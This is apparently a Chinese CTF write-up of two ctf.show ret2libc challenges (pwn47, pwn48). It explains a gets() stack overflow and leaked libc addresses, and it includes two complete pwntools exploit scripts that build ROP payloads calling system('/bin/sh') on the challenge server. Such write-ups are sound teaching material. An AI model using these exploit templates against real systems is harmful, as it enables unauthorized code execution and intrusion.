Siriusuuu
Siriusuuu
发布于 2026-11-17 / 3 阅读
0
0

pwn47、48

ez_ret2libc

47

checksec:32位程序关闭栈保护与PIE保护

main:

以printf("puts: %p\n", &puts);为例

部分

含义

printf

C 标准库的格式化输出函数

"puts: "

普通字符串,原样输出

%p

格式占位符 ,专门用来以指针(地址)格式输出,通常显示为十六进制(如 0x7f1a2b3c4d50)

\n

换行符

&puts

取地址符 & + 函数名 puts ,表示获取 puts 函数在内存中的起始地址

打印出 puts 函数在当前进程内存中的真实运行地址。程序主动把 libc 函数的真实地址泄露给你,让你省去利用漏洞去泄露地址的步骤。

输出了puts fflush read write 函数的地址,以及一个useful的地址,跟进查看:

这里是/bin/sh的地址!!!

ctfshow():

gets(s):

从标准输入读取一行字符串,存入缓冲区 s 中。

gets() 不会检查输入长度! 它会一直读,直到遇到换行符 \n 或 EOF。

return puts(s):把用户刚才输入的内容再打印出来(回显)。

通过泄露目标程序中 puts 函数的地址,并使用 LibcSearcher 类搜索 libc 版本和计算system函数的地址。又已知gift就是“/bin/sh”字符串的地址,将其也接收下来最后再进行getshell

io.recvuntil("puts: ")

puts = eval(io.recvuntil("\n" , drop = True))

io.recvuntil("gift: ")

bin_sh = eval(io.recvuntil("\n" , drop = True))

先使用 recvuntil 函数接收远程服务器发送的数据,直到遇到字符串 "puts: " 。然后使用

eval 函数执行接收到的字符串,将其解析为一个表达式并求值,得到 puts 函数的地址。类似地,下

面这段代码接收数据,直到遇到字符串 "gift: " 。然后使用 eval 函数执行接收到的字符串,得到一

个地址,赋值给 bin_sh 变量。

exp:

from pwn import *

from LibcSearcher import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28200)

elf = ELF('./pwn')

io.recvuntil("puts: ")

puts = eval(io.recvuntil("\n" , drop = True))

io.recvuntil("gift: ")

bin_sh = eval(io.recvuntil("\n" , drop = True))

libc = LibcSearcher("puts" , puts)

libc_base = puts - libc.dump("puts")

system = libc_base + libc.dump("system")

paylad = "a"*(0x9c+4) + p32(system) + p32(0) + p32(bin_sh)

io.sendline(paylad)

io.interactive()

48

32位

利用GOT、PLT泄露puts地址

exp:

from pwn import *

from LibcSearcher import *

context.log_level = 'debug'

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28133)

elf = ELF('./pwn')

main = elf.sym['main']

puts_got = elf.got['puts']

puts_plt = elf.plt['puts']

payload = cyclic(0x6b+4) + p32(puts_plt) + p32(main) + p32(puts_got)

io.recvuntil('O.o?')

io.sendline(payload)

puts = u32(io.recvuntil('\xf7')[-4:])

print hex(puts)

libc = LibcSearcher('puts',puts)

libc_base = puts - libc.dump('puts')

system = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump('str_bin_sh')

payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)

io.sendline(payload)

io.recv()

io.interactive()

总结:

1. 利用puts函数去泄露libc版本

2. 计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址

3. 利用溢出漏洞,构造rop,获取shell


评论